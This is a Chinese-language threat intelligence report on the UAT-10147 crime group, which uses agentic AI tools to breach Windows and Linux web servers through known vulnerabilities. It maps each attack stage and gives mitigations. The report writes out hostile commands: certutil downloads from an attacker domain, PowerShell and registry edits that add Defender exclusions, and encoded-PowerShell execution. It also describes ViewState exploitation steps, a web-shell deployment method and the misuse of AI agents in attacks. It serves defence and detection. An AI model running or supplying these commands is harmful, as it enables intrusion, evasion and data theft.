【精選威脅情資】當 Agentic AI 走進真實入侵：UAT-10147 大規模網頁伺服器攻擊剖析

‍

危害與影響

Cisco Talos 發現了一起由 UAT-10147 主導的大規模攻擊行動，UAT-10147 是一個主要使用中文、以獲利為動機的網路犯罪集團，鎖定全球有漏洞的 Windows 與 Linux 網頁伺服器。此行動再次見證了網路犯罪模式的重要轉變：攻擊者不再單純使用 AI 生成指令碼，更將 Agentic AI 整合進真實入侵行動中，包括偵察、漏洞利用手法選擇、payload  生成、除錯排解、驗證，以及入侵後的自動化流程。

此波行動主要針對政府、教育、媒體、科技與遊戲產業中對外曝露於網路的網頁伺服器。研究團隊觀察到受影響的系統分布於巴西、玻利維亞、中國、加拿大與越南；其中一個遭曝露的攻擊者 C2 目錄更揭露了大規模的目標清單，內含約 170,000 筆 URL。這顯示該行動並非零星入侵，而是被設計為可擴大規模、可重複執行的入侵流程。

UAT-10147 主要仰賴已公開揭露的漏洞，利用多項產品與框架中已知的 RCE 與反序列化漏洞，包括 Zimbra Collaboration Suite、AjaxPro、Nacos、TelerikUI for ASP.NET AJAX，以及 MachineKey 金鑰遭曝露的 ASP.NET ViewState 組態。取得初始入侵管道後，該集團再運用其他Windows 與 Linux 提權技術取得更高權限，進而部署惡意程式或持久性後門。

此行動的威脅在於攻擊者結合了廣泛可得的攻擊工具與 AI 自動化作業流程，使用的工具包括 Metasploit、ysoserial、PentestGPT、DeepAudit 與各種提權漏洞利用程式，並搭配 BadIIS、QuasarRAT、SPECTRE、NoodleRAT、Meterpreter 等惡意程式、植入程式與 web shell。這種組合讓攻擊者得以將複雜攻擊步驟自動化，減少行動時的人力成本。

對政府與教育機構而言，對外服務的網站基礎架構一旦遭入侵，可能造成公民、學生、研究或行政資料外洩。媒體機構可能面臨商譽受損、內容遭竄改，或其平台被濫用於流量詐騙。科技公司則有原始碼、憑證、客戶資料或基礎架構曝險的風險。遊戲公司可能遭遇帳號資料竊取、服務中斷、流量操縱，或社群平台遭到濫用。

雖然目前尚未有具體財務損失的通報，但潛在後果不容小覷。遭入侵的伺服器可被用於長期潛伏、C2 存取、資料外洩、SEO 詐欺、惡意程式中繼寄存，以及對相連環境發動後續攻擊。此事件也再次警示：對外曝露的網路基礎架構仍是高價值攻擊目標，以獲利為目標的攻擊者，正逐漸有能力透過 AI 驅動的工具與自動化，將入侵行動「工業化」。

分析師觀點

此行動中觀察到的直接影響包括 SEO 詐欺、資料竊取、惡意程式部署，以及對受害伺服器的持續未授權存取。其中 BadIIS 感染尤其能操縱網站流量與搜尋引擎行為，可能損害組織的商譽、搜尋能見度與客戶信任。受害伺服器的資料外洩，則可能依該系統所扮演的角色，導致機敏的營運、業務或使用者資訊曝光。

UAT-10147 濫用 Agentic AI 提高了此類威脅的可擴展性，透過 AI 協助偵察、漏洞驗證與部署腳本，大幅降低入侵大量脆弱系統所需的時間與專業門檻。那份 170,000 筆 URL 的目標清單正說明了曝露在外的網頁伺服器如何被分批處理，以進行高效率的掃描與入侵。因此，凡是存在未修補系統、機敏金鑰外洩、IIS組態薄弱，或對外連線監測不足的組織，都可能成為此類大規模犯罪的入侵對象。

此事件也凸顯一項日益升溫的風險：具備 AI 能力的攻擊者能更快速地迭代、自行記錄操作程序、自動驗證漏洞利用成效，並以更少的人力排除失敗狀況。此行動顯示攻擊手法正從基礎的 AI 輔助指令碼撰寫，邁向半自主的攻擊調度。對高度依賴公開網頁應用與對外服務的產業而言，這意味著已知漏洞與組態疏失將可能被更大規模、更快地遭到利用。

技術分析

UAT-10147 攻擊行動之所以能成功，是多項因素交織的結果：對外曝露的網頁應用、已公開揭露的RCE漏洞、外洩的 ASP.NETMachineKey 金鑰、具寫入權限的網頁伺服器路徑，以及未修補的本機提權漏洞。與其依賴單一漏洞或單一惡意程式家族，UAT-10147 建構了一套半自動化的入侵工作流程，結合現成攻擊框架、作業系統原生工具、AI 生成的操作手冊，以及多種植入程式。

此事件的關鍵技術特徵之一，是 Agentic AI 在作業層面的多層次整合。研究調查結果顯示，AI 生成的說明文件與 Python 指令碼，都協助了攻擊者驗證 ViewState 漏洞利用、測試可寫入路徑、部署植入程式、安裝網頁後門，並外傳偵察結果。

偵察（Reconnaissance）

UAT-10147 針對對外曝露的網頁伺服器進行大規模偵察。研究團隊在攻擊者基礎架構的一個開放目錄中，發現內含約 170,000 筆 URL 的目標清單。攻擊者並未一次掃描整份清單，而是將其切分為17 個較小的檔案，每個約含 10,000 筆 URL。其命名慣例以「w」代表中文字「萬」（即 10,000），顯示操作者使用中文。

該攻擊者同時採用傳統與 AI 輔助的方式來找出可利用的目標。攻擊者控制的基礎架構上存在 PentestGPT 與 DeepAudit 等工具。PentestGPT 被用來動態掃描網頁伺服器、辨識合適的 PoC 漏洞利用程式，並蒐集受害系統資訊。DeepAudit 看來是打算用於原始碼與相依套件的漏洞掃描，不過目前尚未直接觀察到 DeepAudit 所發現的漏洞在受害環境中遭到實際利用。

該集團也針對特定脆弱技術進行鎖定式探測。例如在 Telerik 的攻擊路徑中，攻擊者會先確認 Telerik 檔案上傳處理常式（fileupload handler）是否存在，並嘗試指紋辨識軟體版本，才發動攻擊。在 ASP.NET ViewState 攻擊中，攻擊者則會先驗證竊得或曝露的 MachineKey 素材是否可用於實際目標，再進行完整的漏洞利用。

資源開發（Resource Development）

在行動展開前與進行期間，UAT-10147 開發並部署了廣泛的資源，以支援漏洞利用與入侵後作業。

攻擊者維運了一台下載與暫存伺服器：139.180.197[.]150。研究人員在此伺服器上發現一個曝露的開放目錄，內含作業產出物，包括那份 170,000 筆 URL 的目標清單、工具、payload  與指令碼。同一基礎架構也被用作次要暫存位置，於連接埠 54321 上託管備援的 ASHX 網頁後門。

另一個觀察到的 payload 託管網域為：adminapi.tippusoni[.]in。此網域用於提供 BadIIS 相關元件，包括 dll.zip 與 user.txt（在受害系統上被存成 user.bat）。

攻擊者的資源池涵蓋攻擊框架、惡意程式、植入程式、提權工具、原生系統工具，以及 AI 生成的指令碼。值得注意的資源包括：

• Metasploit 與 Meterpreter
• ysoserial / ysoserial.exe
• PentestGPT
• DeepAudit
• badsecrets
• EfsPotato 及其他 Potato 家族提權工具
• Linux 本機提權漏洞利用程式
• BadIIS
• QuasarRAT
• SPECTRE
• NoodleRAT
• 相關活動中出現的 Gh0stCringe
• ASHX 網頁後門
• AI 生成的 Python 指令碼，如 check_paths.py、deploy_implant.py、deploy_shell.py 與 exfil.py

UAT-10147 也將第三方服務作為作業基礎架構使用。webhook.site 的端點被用於帶外回呼驗證（out-of-band callbackverification）與資料外傳。攻擊者控制的 Nacos 組態伺服器則作為非同步的資料匯集點，用於接收漏洞利用遙測資料，使攻擊者無需維持即時反向 shell 也能確認程式碼執行成功。

初始存取（Initial Access）

初始入侵主要利用受已知漏洞影響的公開網頁應用與伺服器。UAT-10147 同時鎖定 Windows 與 Linux 網頁伺服器，並大量仰賴已公開揭露的「一日」漏洞，而非未知的零時差漏洞。

觀察到或有文件佐證的漏洞利用路徑包括：

• CVE-2022-27925：Zimbra Collaboration Suite 未經驗證的RCE。
• CVE-2021-23758： AjaxPro 反序列化 RCE。
• CVE-2021-29441 與 CVE-2021-29442：Nacos 框架的任意程式碼執行漏洞。
• CVE-2019-18935：Telerik UI for APS.NET AJAX 的.NET JSON 反序列化漏洞。
• 利用曝露的 MachineKey 素材進行 ASP.NET ViewState 反序列化RCE。

在 Nacos 的攻擊中，payload 濫用了 ScriptEngineFactory 的服務供應者介面（SPI）。當惡意類別被載入時，會呼叫 Runtime.exec() 產生作業系統 shell。該 payload 會依受害環境調整，在 Linux 上使用 /bin/bash，在 Windows 上使用 cmd.exe。

在 Telerik UI 的攻擊中，UAT-10147 會先確認脆弱的檔案上傳處理常式存在，並指紋辨識應用程式版本。確認為脆弱版本後，攻擊者會使用客製化武器化的 PoC 上傳檔案並取得 RCE。Talos 觀察到入侵後的反向 shell DLL 採用隨機化命名格式：[10 digits].[7 digits].dll

ViewState 攻擊路徑則取決於曝露或外洩的 ASP.NET MachineKey 值。攻擊者的 AI 生成指南記載了所需的前置條件：

• ValidationKey
• DecryptionKey
• 驗證與解密演算法，如 SHA1、AES 或 3DES
• 目標頁面的 __VIEWSTATEGENERATOR 數值
• 目標 URL

攻擊者引用 badsecrets 作為取得公開已知或外洩 MachineKey 組態的來源。這使得 MachineKey 曝露成為 ViewState 攻擊鏈的基本啟動條件。

執行（Execution）

取得 RCE 後，UAT-10147 執行攻擊者控制的指令與指令碼，部署惡意程式、進行偵察、提權並建立持久性。

在 Windows 系統上，感染鏈通常始於一個批次指令碼：

back.txt

back.bat

此指令碼扮演主要的多階段部署腳本角色，利用 certutil 下載額外 payload，包括：

• EfsPotato，更名為 prcc1.rar
• 次要批次指令碼 bai.bat
• QuasarRAT，偽裝為 svchosts.exe

攻擊者也下載了 BadIIS 元件與第三個指令碼：

certutil -urlcache -split -fhttps[:]//adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip

certutil -urlcache -split -fhttps[:]//adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat

PowerShell 與 cmd.exe 被大量用於執行作業。在 ViewState 攻擊鏈中，ysoserial 生成的 payload 透過.NET gadget chain 觸發指令執行。AI 生成的指南指出 TypeConfuseDelegate 為首選的 gadget chain，並註明其在.NET 4.8 上仍然可用。該 payload 最終使用 Process.Start() 來執行指令。

一項關鍵的作業細節是 Process.Start() 為非同步執行。攻擊者的指南記載，基於時間的盲測（例如 ping -n 10 或timeout /t 10）並不有效，因為 HTTP 回應會立即返回。因此攻擊者改用帶外驗證方式：

• certutil
• PowerShell 搭配 curl
• 使用 nslookup 的 DNS 回呼
• 對 webhook.site 的 HTTP 回呼

在 Linux 系統上，攻擊者將 RCE payload 送往曝險伺服器、部署網頁後門，接著執行本機提權漏洞利用程式。取得更高權限後，再啟動NoodleRAT、SPECTRE 與 Meterpreter 等植入程式。

持續性（Persistence）

UAT-10147 依平台與所取得的存取層級，採用不同的持久化機制。

在 Windows 上，次要指令碼會靜默執行後門 payload，並建立具有欺騙性名稱的排程工作，例如：

Google Chrome Start

這些排程工作被設定為在任何使用者登入時以最高權限執行惡意程式，使偽裝為 svchosts.exe 的 QuasarRAT 能在使用者工作階段結束與系統重開機後繼續存活。

攻擊者也利用 user.bat 建立惡意本機使用者帳號，並將其加入本機 Administrators 與 Remote DesktopUsers 群組，藉此透過遠端桌面通訊協定（RDP）取得持續性的特權存取。

網頁後門是另一項主要的持久化機制。在 IIS 伺服器上，AI 生成的 deploy_shell.py 指令碼會安裝一個持久的 ASHX 網頁後門，名為：

sss.ashx

由於 ViewState RCE 僅提供指令執行能力，而非直接的檔案上傳，該指令碼採用兩階段手法：

1.    將暫時性的 ASHX 上傳處理常式 up.ashx 寫入 webroot。

2.    以 up.ashx 作為 HTTP 中繼，上傳並放置最終的 sss.ashx 網頁後門。

指令碼會先將一段極簡的 C# ASHX 上傳處理常式進行 Base64 編碼，再以 PowerShell 搭配[IO.File]::WriteAllBytes 解碼並寫入磁碟。確認 up.ashx 可存取後，指令碼便上傳最終的網頁後門。若攻擊者本機上沒有該後門檔案，則會從以下位置取得備援副本：

139.180.197[.]150:54321

最終的後門會透過請求該檔案並檢查回應大小來驗證，接著以下列 payload 測試指令執行：

whoami

dir

在 Linux 系統上，攻擊者於取得初始 RCE 後部署網頁後門，以維持互動式存取，並支援後續的提權與植入程式部署。

權限提升（Privilege Escalation）

提權是此行動的核心之一， UAT-10147 通常先在網頁應用或 IIS 應用程式集區身分的脈絡下取得初始執行權，再提升至 Windows 的 SYSTEM 或 Linux 的 root。

在 Windows 上，攻擊者使用更名為下列名稱的 EfsPotato：

prcc1.rar

此工具用於在提升權限的脈絡下執行指令。攻擊者特別鎖定 SeImpersonatePrivilege——這是 IIS 工作者處理程序身分常見具備的 token 權限。所復原的 AI 生成指南描述了如何利用 Potato 家族提權工具，從 IIS AppPool 身分提權至 SYSTEM，並指出攻擊者的 SPECTRE 植入程式內建可自動完成此提權的功能。

取得提升權限後，攻擊者接續執行：

• 修改 Windows Defender 排除項目
• 執行部署指令碼
• 在受保護或受監控的目錄中安裝惡意程式
• 建立特權本機使用者
• 將使用者加入 Administrators 與 Remote Desktop Users 群組

在 Linux 上，UAT-10147 於取得初始 shell 存取後，使用了多種已知的本機提權漏洞，包括：

• CVE-2022-0995：Linux 核心 watch_queue 越界寫入提權漏洞。
• CVE-2021-3156（「Baron Samedit」） ：sudo 堆積緩衝區溢位，可提權至root。
• CVE-2015-5287：ABRT sosreport 符號連結處理瑕疵。
• CVE-2015-3246：libuser roothelper 瑕疵，可能損壞/etc/passwd。
• CVE-2010-3904：Linux 核心 RDS 任意核心記憶體寫入。
• CVE-2022-0847（「Dirty Pipe」）：Linux 核心瑕疵，可覆寫唯讀檔案並提權。

取得 root 權限後，攻擊者部署了 NoodleRAT、SPECTRE 與 Meterpreter 等 Linux 相容的植入程式。

防禦規避（Defense Evasion）

UAT-10147 使用多種防禦規避技巧，降低其 payload 與入侵後活動的能見度。

最明顯的例子是竄改 Windows Defender 排除設定。攻擊者透過 EfsPotato 取得的提升權限，將標準 IIS 目錄加入Defender 排除清單：

C:\Windows\SysWOW64\inetsrv

C:\Windows\System32\inetsrv

攻擊者同時使用 PowerShell 與登錄檔修改：

powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv

powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv

reg add "HKLM\SOFTWARE\Microsoft\WindowsDefender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /tREG_DWORD /d 0 /f

reg add "HKLM\SOFTWARE\Microsoft\WindowsDefender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /tREG_DWORD /d 0 /f

這使得包含 BadIIS 元件在內的惡意 IIS 模組，得以放置於較不易被防毒軟體掃描的目錄中。

攻擊者也運用了偽裝（masquerading）手法。QuasarRAT 被偽裝為：

svchosts.exe

此名稱與合法的 Windows 處理程序 svchost.exe 極為相似，使得粗略檢視時更難察覺。

暫存檔案與指令碼在使用後即遭刪除，以妨礙數位鑑識分析。排程工作被賦予「Google Chrome Start」這類看似無害的名稱。反向 shell DLL 使用隨機數字檔名，使其難以用單純的檔名規則加以辨識。

偵察與資料外傳過程中則使用了 PowerShell 編碼指令。AI 生成的 exfil.py 指令碼會將指令編碼為 UTF-16LEBase64，並以下列方式執行：

powershell -nop -enc

此技巧可降低指令的能見度，並使日誌記錄與分析更加困難。

攻擊者也透過 webhook.site 與 Nacos 組態伺服器進行回呼與資料蒐集，將惡意通訊混入看似正常的網頁管理作業流量之中。

憑證存取（Credential Access）

此事件中與憑證最相關的環節，是取得並驗證 ASP.NET MachineKey 金鑰材料。

要進行 ASP.NET ViewState 漏洞利用，攻擊者需要有效的密碼學組態值，包括：

• ValidationKey
• DecryptionKey
• 驗證演算法
• 解密演算法
• __VIEWSTATEGENERATOR

攻擊者的 AI 生成 ViewState 攻擊指南指出，這些數值通常可透過 badsecrets 取得——這是一款開源工具，維護著一份公開已知或外洩的 ASP.NET MachineKey 組態資料庫。

攻擊者會在執行完整 payload 前先驗證 MachineKey 是否正確。指南中記載了一種低雜訊的驗證技巧：送出格式錯誤的 ViewState 資料，並解讀HTTP 500 錯誤訊息：

• 出現 MAC Validation Failure，代表 validation key 不正確。
• 出現 InvalidCastException，代表 validation key 正確，且 payload已被反序列化。

這讓 UAT-10147 能在不立即執行高雜訊指令 payload 的情況下，確認竊得或曝露的金鑰材料是否有效。

探索（Discovery）

進入受害系統後，UAT-10147 展開廣泛的探索，以掌握主機狀況、網頁伺服器架構、權限脈絡與可行的持久化位置。攻擊者蒐集了主機名稱、使用者名稱、權限資訊、IIS 站台組態、webroot 路徑、虛擬目錄對應、執行中的處理程序、網路介面資訊，以及 webroot 目錄內容。所使用的指令與工具包括：

• Linux 上的 id 與 hostname。
• Windows 上的 %USERNAME% 與 %COMPUTERNAME%。
• whoami /priv，用以檢查 SeImpersonatePrivilege 等權限。
• dir C:\inetpub\wwwroot\ -Name，列舉所託管的網頁應用。
• appcmd.exe list site 與 appcmd.exe list vdir，列舉IIS 站台、繫結、虛擬目錄與實體路徑。
• icacls，檢視目標目錄的權限設定。

在 IIS 伺服器上，appcmd.exe 是關鍵的探索工具。攻擊者使用的指令包括：

C:\Windows\system32\inetsrv\appcmd list site /config /xml

appcmd.exe list site

appcmd.exe list vdir

這些指令揭露了 IIS 網站組態、託管網域、繫結、虛擬目錄與實體路徑，協助攻擊者決定要在何處安裝 BadIIS 模組，或將 ASHX 網頁後門寫入何處。

AI 生成的 ViewState 攻擊指南另外記載了一套系統性的偵察 playbook，全程以 PowerShell 編碼指令執行，藉此規避 AMSI 與日誌記錄。攻擊者在此階段蒐集：

• 系統資訊
• token權限
• webroot 目錄清單
• IIS 站台組態
• 網路介面資料
• 執行中的處理程序

上述資料全部透過 HTTP POST 外傳至遠端 webhook。此 playbook 是在RCE 經帶外回呼確認成功之後才執行，構成後續建立互動式 shell 與提權的資訊基礎。

AI 生成的 exfil.py 指令碼同樣執行探索作業：

dir C:\inetpub\wwwroot\ -Name

appcmd.exe list site

whoami /priv

這些指令揭露了已部署的應用程式、IIS 拓撲、繫結、託管名稱與權限資訊。在一份經分析的調查結果日誌中，回呼確認 webroot 內含 13 個站台目錄，且SeImpersonatePrivilege 為啟用狀態，為攻擊者提供了通往 Potato 家族提權的明確路徑。

橫向移動（Lateral Movement）

該報告並未描述跨多個企業系統的大範圍內網橫向移動。不過，UAT-10147 確實建立了可支援橫向移動或遠端控制的存取機制。

最直接的例子，是建立惡意本機使用者帳號並加入以下兩個群組：

• 本機 Administrators
• Remote Desktop Users

這讓攻擊者取得對受害主機的特權 RDP 存取，也可能成為後續活動的跳板。

攻擊者也部署了 QuasarRAT、SPECTRE、NoodleRAT、Meterpreter、Gh0stCringe 與網頁後門等遠端存取工具與植入程式。這些工具提供互動式指令執行與遠端控制能力；若受害伺服器可連通其他內部資源，便可據以進一步橫向滲透。

收集（Collection）

UAT-10147 蒐集所需資訊，以驗證漏洞利用成效、規劃提權、選擇持久化位置，並支援後續的變現手法（如 BadIIS 部署）。

初始入侵階段的遙測回傳（Nacos 利用鏈）僅蒐集最低限度的存活確認資料：

• 使用者身分與主機名稱（Linux上為 id、hostname；Windows 上為 %USERNAME%、%COMPUTERNAME%）

後滲透階段（IIS /ViewState 攻擊鏈）則蒐集：

• IIS 站台組態、繫結與託管名稱
• IIS 虛擬目錄與實體路徑對應
• webroot 目錄清單（findings log 中記錄含 13 個站台目錄）
• webroot ACL 與寫入權限（含 IUSR / IIS_IUSRS 可寫與否）
• 執行中處理程序資訊
• 網路介面資料
• 權限 token 資訊，特別是 SeImpersonatePrivilege 狀態
• 存取受保護檔案時的確切例外，例如讀取 redirection.config 遭拒

ViewState 的攻擊流程透過 HTTP 回呼蒐集輸出結果。攻擊者的調查結果日誌中，包含來自某個真實目標的 12 筆以上回呼結果，確認多條 ysoserial gadget chain 在 .NET 4.8.4797.0 上成功執行，並提供了主機與使用者的探索資訊。

蒐集作業不僅限於技術偵察，也直接支撐攻擊者的作業決策：

• 辨識出可寫入的 webroot，決定 ASHX 網頁後門的部署位置。
• 確認 SeImpersonatePrivilege 存在，據以選擇 Potato 家族的提權路徑。
• 由 appcmdlist site 取得的站台拓撲與繫結，決定 BadIIS 模組要注入哪些站台——這一步直接關係到 SEO 詐欺的觸及範圍。
• 讀取 redirection.config 遭拒，則標示出當下權限的邊界，構成提權的動機。

命令與控制（Command and Control）

UAT-10147 使用多種命令與控制機制，從功能完整的植入程式、網頁後門，到帶外回呼皆有。

攻擊者部署的植入程式與遠端存取 payload 包括：

• QuasarRAT
• SPECTRE
• NoodleRAT
• Meterpreter
• 相關行動中的Gh0stCringe
• ASHX 網頁後門
• Linux 網頁後門
• 反向 shell payload

在 Windows 上，QuasarRAT 以 svchosts.exe 的形式投遞，並透過排程工作維持持久性。SPECTRE 則使用 AI 生成的工具部署，透過 certutil 或 PowerShell 備援下載邏輯，自攻擊者控制的基礎架構取得。

AI 生成的 deploy_implant.py 指令碼利用 ViewState 反序列化 RCE 下載並啟動 SPECTRE。短暫休眠後，它會執行 Test-Path 與 Get-Item.Length 等 PowerShell 檢查，以驗證植入程式是否成功部署，並將結果經由 webhook.site 回報。

網頁後門則構成另一層命令與控制通道。sss.ashx 後門讓攻擊者能對 IIS 伺服器進行基於 HTTP 的指令執行。攻擊者會以 whoami 與 dir 等測試指令驗證後門可用性。

帶外回呼被大量用於漏洞利用驗證與控制流程決策。UAT-10147 使用了：

• 對 webhook.site 的 HTTP/HTTPS 回呼
• certutil 回呼
• PowerShell 與 curl
• 使用 nslookup 的 DNS 回呼
• 攻擊者控制的 Nacos 組態伺服器

Nacos 伺服器扮演非同步通訊通道的角色。在 Nacos 攻擊過程中，受害端遙測資料會以 POST 方式送往攻擊者控制的組態伺服器，使攻擊者能確認漏洞利用成功，同時將流量混入正常的組態管理活動中。

資料外洩（Exfiltration）

UAT-10147 透過基於 HTTP/HTTPS 的通道外傳偵察與驗證資料，尤其是 webhook.site 與攻擊者控制的 Nacos 組態伺服器。

在 Nacos 攻擊過程中，payload會將基本系統遙測資料送往攻擊者控制的 Nacos 伺服器。在 Linux 上包含以下指令輸出：

id

hostname

在 Windows 上則包含：

%USERNAME%

%COMPUTERNAME%

ViewState 攻擊流程則透過 HTTP POST 請求將資料外傳至 webhook.site。攻擊者藉此取得：

• 系統資料
• 權限資料
• IIS 站台清單
• webroot 目錄清單
• ACL 資訊
• 檔案寫入測試結果
• 植入程式部署狀態
• 網頁後門部署確認

AI 生成的 exfil.py 指令碼特別使用 HTTPS 流量傳往 webhook.site，並在執行前將每道 PowerShell 指令編碼為 UTF-16LE Base64，再以 powershell -nop -enc 執行。它執行三項主要 payload：

dir C:\inetpub\wwwroot\ -Name

appcmd.exe list site

whoami /priv

這些資料協助攻擊者辨識已部署的應用程式、繪製 IIS 託管拓撲，並判斷當前的權限脈絡是否具備提權可能。

影響（Impact）

所觀察到的主要影響，是在受害 IIS 伺服器上部署 BadIIS 惡意程式。BadIIS 是一種與 SEO 詐欺及流量操縱相關的惡意 IIS 模組。透過安裝惡意IIS 模組，攻擊者得以改變網頁伺服器行為，並操縱面向搜尋引擎的內容以牟取金錢利益。

部署 BadIIS 的技術前置作業包括：

• 在 IIS 伺服器上取得 RCE。
• 使用 EfsPotato 或相關技巧提權。
• 將 IIS 目錄加入 Windows Defender 排除清單。
• 下載 dll.zip 等 BadIIS 元件。
• 使用 appcmd 列舉 IIS 站台與組態。
• 在選定位置安裝或放置惡意IIS 模組。

‍

緩解建議

要緩解 UAT-10147 這類攻擊活動，必須採取分層防禦的做法，因為此行動結合了對已知漏洞的利用、曝露的 ASP.NET 機敏金鑰、入侵後自動化、權限提升、網頁後門部署，以及透過合法管理功能建立的持久性。最重要的防禦優先事項，是縮減對外網頁伺服器的攻擊面，並阻止攻擊者將初始的遠端程式碼執行轉化為長久的管理控制權。

• 組織應先盤點所有可從外部存取的網頁應用與服務，尤其是 Windows IIS/ASP.NET 伺服器、Linux 網頁伺服器、Zimbra、Nacos、Telerik UI for ASP.NET AJAX、基於 AjaxPro 的應用，以及其他對外的框架。UAT-10147 高度仰賴已公開揭露的漏洞，因此曝露於網際網路上的脆弱系統，是最可能的入侵起點。修補與漏洞管理應優先處理已知的遠端程式碼執行問題，例如 Zimbra CVE-2022-27925、AjaxPro CVE-2021-23758、Nacos CVE-2021-29441 與 CVE-2021-29442、Telerik UI CVE-2019-18935，以及相關的 Linux 本機提權漏洞。若無法立即修補，應將受影響的服務加以隔離、限制存取，或以 WAF、VPN、白名單式管理存取等補償性控制措施加以保護。
• 對 ASP.NET 環境而言，保護 MachineKey 金鑰材料是最關鍵的緩解措施之一。此事件中所述的 ViewState 攻擊路徑，取決於攻擊者能否取得有效的 ValidationKey 與 DecryptionKey，以及相關的演算法與 ViewState 參數。組織應確保 MachineKey 不會曝露於原始碼儲存庫、備份、公開的組態檔、容器映像檔、部署產出物或共用文件之中。若懷疑 MachineKey 已遭曝露，應立即輪替金鑰。金鑰也應依應用程式或 IIS 站台各自獨立；在多個應用之間重複使用 MachineKey，會在單一站台淪陷時擴大波及範圍。管理者不應假設單靠升級至 .NET 4.8 就能防止 ViewState 反序列化濫用，因為文中指出，當攻擊者持有有效金鑰材料時，.NET 4.8 並未消除相關的 gadgetchain 風險。
• IIS 強化同樣重要，因為 UAT-10147 在入侵後活動中利用了 IIS 特有的路徑、模組、應用程式集區身分與 webroot。應用程式集區帳號應以最小必要權限執行，並限制對 webroot 的寫入權限。特別是，除非有明確的業務需求，IIS 工作者處理程序不應能將任意 .ashx、.aspx、.dll 或上傳處理常式檔案寫入正式環境的網站目錄。應監控 C:\Windows\System32\inetsrv 與 C:\Windows\SysWOW64\inetsrv 等 IIS 模組目錄是否出現未經授權的DLL 或組態變更。防守方也應檢視 IIS 站台繫結、虛擬目錄、實體路徑與模組註冊狀況，找出 BadIIS 或其他惡意模組的跡象。
• Windows Defender 與端點防護設定需要特別留意。在觀察到的攻擊鏈中，攻擊者試圖將 IIS 目錄加入 Microsoft Defender 排除清單，以躲避對惡意 IIS 模組與 payload 的掃描。資安團隊應針對非預期使用 Add-MpPreference -ExclusionPath，以及下列登錄機碼下的修改行為發出告警：
  HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  特別可疑的排除項目包括：
  C:\Windows\System32\inetsrv
  C:\Windows\SysWOW64\inetsrv
  若發現此類排除設定且未經管理者核准，該伺服器應被視為可能已遭入侵。Defender 竄改防護（tamper protection）、集中式政策強制執行與 EDR 控制措施，有助於防止攻擊者在取得程式碼執行後削弱本機安全設定。
• 組織也應限制或密切監控此行動中常遭濫用的管理用執行檔。UAT-10147 使用了 certutil、PowerShell、cmd.exe、appcmd.exe、curl、nslookup 與 New-ObjectNet.WebClient 等工具來下載 payload、進行偵察、驗證指令執行並外傳資料。在正式環境的網頁伺服器上，IIS 工作者處理程序或應用程式集區身分啟動這些工具並不尋常。EDR與日誌規則應在網頁伺服器處理程序產生指令直譯器或就地取材（LotL）執行檔時發出告警，尤其是包含下列內容的指令：
  certutil -urlcache -split -f
  powershell -nop -enc
  Add-MpPreference
  New-Object Net.WebClient
  [IO.File]::WriteAllBytes
  appcmd.exe list site
  appcmd.exe list vdir
  whoami /priv
  icacls
  nslookup 或其他對外回呼指令
  在可行的情況下，應啟用 PowerShell 指令碼區塊記錄（ScriptBlock Logging）、模組記錄（Module Logging）、命令列處理程序稽核與 AMSI。來自網頁服務帳號的編碼 PowerShell 指令，應視為高風險行為。

• 對外流量過濾（egress filtering）是另一項關鍵控制。攻擊者使用對外 HTTPS 回呼與 webhook 類服務來驗證漏洞利用成效、蒐集偵察結果並確認植入程式部署狀態。網頁伺服器通常只需要有限的對外連線能力。組織應限制正式環境伺服器的對外網際網路存取，僅允許連往核准的目的地、Proxy、更新服務與業務所需的 API。對任意 IP 位址、非標準連接埠、webhook 服務、檔案共享服務或不明 SaaS 端點的直接對外存取，應予以封鎖或嚴密監控。此舉可降低攻擊者利用看似正常的 HTTPS 流量下載工具、建立命令與控制通道及外傳資料的能力。
• 持久化機制應定期稽核。在 Windows 主機上，防守方應檢查可疑的排程工作，特別是「Google Chrome Start」這類偽造的名稱，以及從C:\ProgramData、暫存目錄、IIS 路徑或使用者可寫入資料夾等異常位置執行二進位檔的工作。本機使用者帳號與群組成員資格同樣應加以檢視。UAT-10147 曾建立惡意使用者並將其加入本機 Administrators 與 Remote Desktop Users 群組，以維持特權 RDP 存取。網頁伺服器上任何非預期的管理者帳號、已啟用RDP 的帳號或近期新建的帳號，都應進行調查。
• 對 Linux 伺服器而言，緩解重點應同時涵蓋初始入侵與提權防範。對外的應用程式必須完成修補，並修復 Dirty Pipe、Baron Samedit 等本機提權漏洞，以及較舊的核心或系統工具瑕疵。網頁伺服器使用者應以最小權限執行；網頁應用目錄的設定應確保即使應用程式使用者遭入侵，攻擊者也無法修改系統二進位檔、啟動指令碼、SSH 金鑰，或預定上傳區域以外的應用程式碼。防守方也應監控網頁後門活動、異常對外連線、提權漏洞利用的殘留跡證，以及 NoodleRAT、Meterpreter 或其他不明 ELF 執行檔等植入程式。
• 網路與端點偵測規則應更新至可用的涵蓋範圍。CiscoTalos 調查報告已提供可偵測並封鎖此活動已知元件的 ClamAV 特徵碼與 Snort 規則：ClamAV：
  Py.Loader.Tool-10060293-1
  Py.Loader.Tool-10060293-2
  Win.Malware.Generic-10060228-0
  Win.Loader.Downloader-10060287-1
  Snort：
  Snort2：1:66697、1:66696
  Snort3：1:66697、1:66696
• 已知的入侵指標（IOC），包括139.180.197[.]150、139.180.197[.]150:54321 與 adminapi.tippusoni[.]in 等攻擊者基礎架構，應用於回溯獵捕，並在適當情況下加以封鎖。不過，基於 IOC 的防禦不應是唯一的控制手段，因為攻擊者可輕易更換基礎架構、檔名、payload 與 AI 生成的指令碼。
• 調查可能遭入侵情形的事件應變人員，應檢視 webroot、IIS 模組目錄、排程工作、Defender 排除設定、本機使用者、RDP 群組成員資格、可疑 DLL、ASHX/ASPX 網頁後門，以及對外流量歷史紀錄。應特別留意 back.bat、back.txt、bai.bat、user.bat、dll.zip、prcc1.rar、svchosts.exe、up.ashx、sss.ashx 等檔案，以及採用隨機數字命名模式的非預期 DLL。若發現惡意模組、植入程式或網頁後門，圍堵措施應包括隔離主機、移除持久化機制、輪替憑證與 MachineKey、檢視相鄰的虛擬主機，並在無法確保完整性時重建該伺服器。

